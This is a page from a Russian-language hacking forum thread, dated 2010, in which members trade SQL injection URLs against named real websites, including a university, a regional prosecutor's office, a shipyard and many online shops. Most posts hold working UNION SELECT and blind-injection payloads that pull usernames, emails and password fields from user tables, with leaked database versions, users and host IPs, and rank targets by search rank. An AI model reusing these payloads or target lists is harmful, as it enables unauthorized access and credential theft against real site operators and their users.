HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12631  
Старый 24.07.2010, 15:20
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


По умолчанию

Цитата:
Сообщение от iv.  
Взрыв мозга, MySQL5. Есть таблицы cpg14x_users fe_users be_users evo_users, но на их просмотр, судя по всему, нет прав
http://www.stevens.edu/provost/news/single_news.php?news_events_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_co ncat(user_name,char(58),user_password),14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50, 51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67 ,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83+f rom+cop.cpg14x_users

просто другая база ))
 
Ответить с цитированием

  #12632  
Старый 24.07.2010, 15:29
SofiaLoar
Новичок
Регистрация: 26.04.2026
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

http://www.keglia.ru/raskazread.php?idArticle=-17+union+select+concat_ws(0x3a,user_email,user_pas sword),2,3+from+phpbb_users+limit+1,1+--+

боян/raskazread.php?idArticle=-17+union+select+concat_ws(0x3a,user_email,user_pas sword),2,3+from+phpbb_users+limit+1,1+--+

http://azbyka.ru/znakomstva/index.php?module=community&file=user&id=9999+union +select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,concat_ws(0x3a,email,password,lo gin),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56 ,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,7 3,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88+fro m+pravmamba_users+limit+0,1
 
Ответить с цитированием

  #12633  
Старый 24.07.2010, 22:49
-PRIVAT-
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме:
344917

Репутация: 17
По умолчанию

http://www.ivanivanich.ru/disc.php?id=-49+union+select+1,user%28%29,3,4,5,6,7,8,9,0%20--

ТИЦ-20

PR-1

http://www.mahaliajackson.us/discography/disc.php?id=-141+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 --

PR-2

http://assassinatecaesar.com/disc.php?id=-13+union+select+1,2,3,4,5,6,7,8,9,0,1,2%20--

http://joansanmarti.com/disc.php?id=-29+union+select+1,2,3,4,5,6,7,8%20--
 
Ответить с цитированием

  #12634  
Старый 24.07.2010, 23:13
AC//DC
Познающий
Регистрация: 28.07.2009
Сообщений: 98
Провел на форуме:
247684

Репутация: 136
По умолчанию

ПРИМОРСК судоремонтное предприятие

http://www.primorck.ru/index.php?sublist=-1+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,@@ version,user(),database(),@@version_compile_os),7, 8,9,10+--

version : 5.0.91-community

user : primorck_goga@localhost

database : primorck_db

os : unknown-linux-gnu
 
Ответить с цитированием

  #12635  
Старый 24.07.2010, 23:36
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


По умолчанию

Прокуратура Чукотского автономного округа

http://prokuror.chukotnet.ru/index.php?section=4&action=view&id=-623+union+select+1,2,concat_ws(0x3a,version(),data base(),user(),@@version_compile_os),4,5,6,7,8,9,10 ,11,12&module=newsmodule&src=%40random45eb8fba06bd 1

5.0.77rokurorrokuror@localhost:redhat-linux-gnu
 
Ответить с цитированием

  #12636  
Старый 25.07.2010, 01:06
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме:
691279

Репутация: 55
По умолчанию

arcsoft.com

Код:
http://www.arcsoft.com/press/viewrelease.asp?releaseid=189-999.9+union+select+1,database(),user(),4,5,6,7,8,9,10,version(),12,13--
PR 6

тиц 200
 
Ответить с цитированием

  #12637  
Старый 25.07.2010, 02:20
-PRIVAT-
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме:
344917

Репутация: 17
По умолчанию

http://news.franchiseindia.com/print_news.php?id=-2-213+union+select+1,2,1,1,2,3,4,5,1,7,8,9,0 --

ТИЦ-10

PR-5

http://www.utu.org/print_news.cfm?ArticleID=-51312+union+select+1,2 --

ТИЦ-10

PR-6

[Microsoft][ODBC Microsoft Access Driver]

http://www.thenewghanaian.com/print_news.asp?id=-801+or+1=%28SELECT+TOP+1+TABLE_NAME+FROM+INFORMATI ON_SCHEMA.TABLES%29--

PR-1

http://www.1c.lutsk.ua/print_news.php?id=-201+union+select+1,2,3,4,version%28%29,6%20--

ТИЦ-1300

PR-2

http://www.fbcwc.ca/print_news.php?id=-20+union+select+1,2,3,4%20--

PR-5

http://www.clarkrealtycapital.com/print_news.asp?id=-21767441+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3 --

PR-4

[Microsoft][ODBC SQL Server Driver]

http://www.ghanaonthenet.com/print_news.asp?id=1+or+1=%28SELECT+TOP+1+TABLE_NAM E+FROM+INFORMATION_SCHEMA.TABLES%29--

PR-2

[Microsoft][ODBC Microsoft Access Driver]

http://www.icdl.org.za/print_pages.php?id=-7+union+select+1,2,3,4,5,6 --

PR-1
 
Ответить с цитированием

  #12638  
Старый 25.07.2010, 03:27
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


По умолчанию

CARC

http://www.carc.jo/pages_en.php?type=page&id=-3279+union+select+version()

PR-7

---

http://www.nooralhusseinfoundation.org/index.php?pager=end&task=view&type=content&pageid=-76+union+select+1,2,concat(username,char(58),passw ord),4,5,6,7+from+users--

PR-5
 
Ответить с цитированием

  #12639  
Старый 25.07.2010, 14:52
KENT1994
Участник форума
Регистрация: 25.09.2009
Сообщений: 147
Провел на форуме:
1768674

Репутация: 65
По умолчанию

shops

Код:
http://www.ealandmania.net/catalogs/buy.php?c=1%27&p=4&o=79 AND %True_Expression% AND 'x'='x
Host IP: 208.76.82.37

Web Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

DB Server: MySQL

Current DB: T,# WQQS #C#,28Tx>f?}{Wryvp?~f???q?Y?o#50M??Bo?@xMF4??l T_c

Код:
http://www.mnsnowmobiler.org/index.php?pageid=92 AND %True_Expression%
Host IP: 198.31.50.252

Web Server: Apache/1.3.41 (Unix) FrontPage/5.0.2.2635 PHP/5.2.11 mod_ssl/2.8.31 OpenSSL/0.9.8i

Powered-by: PHP/5.2.11

DB Server: MySQL

Код:
http://www.ikancorp.com/productInfo.php?id=188%27 AND %True_Expression%
Host IP: 174.132.79.187

Web Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Powered-by: PHP/5.2.13

DB Server: MySQL

Код:
Боян!
Host IP: 74.52.164.178

Web Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Powered-by: PHP/5.2.13

DB Server: MySQL

Current DB: bugnbots_bugnbots

Код:
http://chinashoppingzone.com/productinfo.php?id=238%27 AND %True_Expression%
Host IP: 195.191.102.128

Web Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 mod_perl/2.0.4 Perl/v5.8.8

DB Server: MySQL

Код:
Боян!
Host IP: 85.17.199.6

Web Server: Apache/2

Powered-by: PHP/5.2.13

DB Server: MySQL

Current DB: flashin_sparkms

Код:
http://shoppingtang.com/productinfo.php?id=186%27 AND %True_Expression%
Host IP: 173.201.111.157

Web Server: Apache

DB Server: MySQL

Код:
http://www.g20trade.com/productinfo.php?id=500%27 AND %True_Expression%
Host IP: 173.201.1.154

Web Server: Apache

DB Server: MySQL

Код:
http://www.chinashopunion.com/productinfo.php?id=103%27 AND %True_Expression%
Host IP: 97.74.137.145

Web Server: Apache

DB Server: MySQL

Код:
http://www.shopcarnival.com/productinfo.php?id=367%27 AND %True_Expression%
Host IP: 173.201.150.215

Web Server: Apache

DB Server: MySQL

Код:
http://storecarnival.com/productinfo.php?id=365%27 AND %True_Expression%
Host IP: 173.201.150.215

Web Server: Apache

DB Server: MySQL

Код:
http://www.sghgate.com/productinfo.php?id=606%27 AND %True_Expression%
Host IP: 195.191.102.57

Web Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 mod_perl/2.0.4 Perl/v5.8.8

DB Server: MySQL

Код:
http://www.thegenealogist.co.uk/nameindex/productinfo.php?id=24%27 AND %True_Expression%
Host IP: 195.224.80.57

Web Server: Apache/2.2.3 (CentOS)

Powered-by: PHP/5.1.6

DB Server: MySQL

Код:
http://www.shopzooly.com/productinfo.php?id=751%27 AND %True_Expression%
Host IP: 173.201.150.242

Web Server: Apache

DB Server: MySQL

Код:
http://shelleysigns.co.uk/public_html/productinfo.php?id=204%27&KeepThis=true&TB_iframe=true&height=532&width=675 AND %True_Expression%
Host IP: 212.38.84.178

Web Server: Apache

DB Server: MySQL

Код:
Боян!
Host IP: 198.66.255.130

Web Server: Apache/2.2.15 (Unix) PHP/5.2.9 with Suhosin-Patch mod_ssl/2.2.15 OpenSSL/0.9.8m mod_apreq2-20051231/2.6.0 mod_perl/2.0.3 Perl/v5.8.7

Powered-by: PHP/5.2.9

DB Server: MySQL unknown ver

Current DB: atmweb

Код:
http://luckinthebox3.com/productinfo.php?id=209%27 AND %True_Expression%
Host IP: 173.201.81.179

Web Server: Apache

DB Server: MySQL

Код:
http://www.wishesg20.com/productinfo.php?id=429%27 AND %True_Expression%
Host IP: 173.201.0.93

Web Server: Apache

DB Server: MySQL

Код:
http://www.zoolystore.com/productinfo.php?id=1287%27 AND %True_Expression%
Host IP: 173.201.150.215

Web Server: Apache

DB Server: MySQL

Код:
Боян!
Host IP: 173.201.81.179

Web Server: Apache

DB Server: MySQL

Код:
http://www.hellozooly.com/productinfo.php?id=437%27 AND %True_Expression%
Host IP: 173.201.150.215

Web Server: Apache

DB Server: MySQL

Код:
http://rental.microsearch.com/productInfo.php?id=114%27 AND %True_Expression%
Host IP: 174.132.79.187

Web Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Powered-by: PHP/5.2.13

DB Server: MySQL

Код:
http://www.zoolystyle.com/productinfo.php?id=222%27 AND %True_Expression%
Host IP: 173.201.150.215

Web Server: Apache

DB Server: MySQL

+++

--------

Konqi : постиш скули которые постил раньше???

/showthread.php?p=2133841

я как бы предупреждал тебе уже
 
Ответить с цитированием

  #12640  
Старый 25.07.2010, 18:01
iv.
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Error-based blind SQLi

Цитата:
Сообщение от None  
http://www.bsmotoring.com/storypage.php?autono=-1 or (select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)))--
кто-нить знает как тут выводить строки из таблиц? что-то я крутил-крутил и ничего =\
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.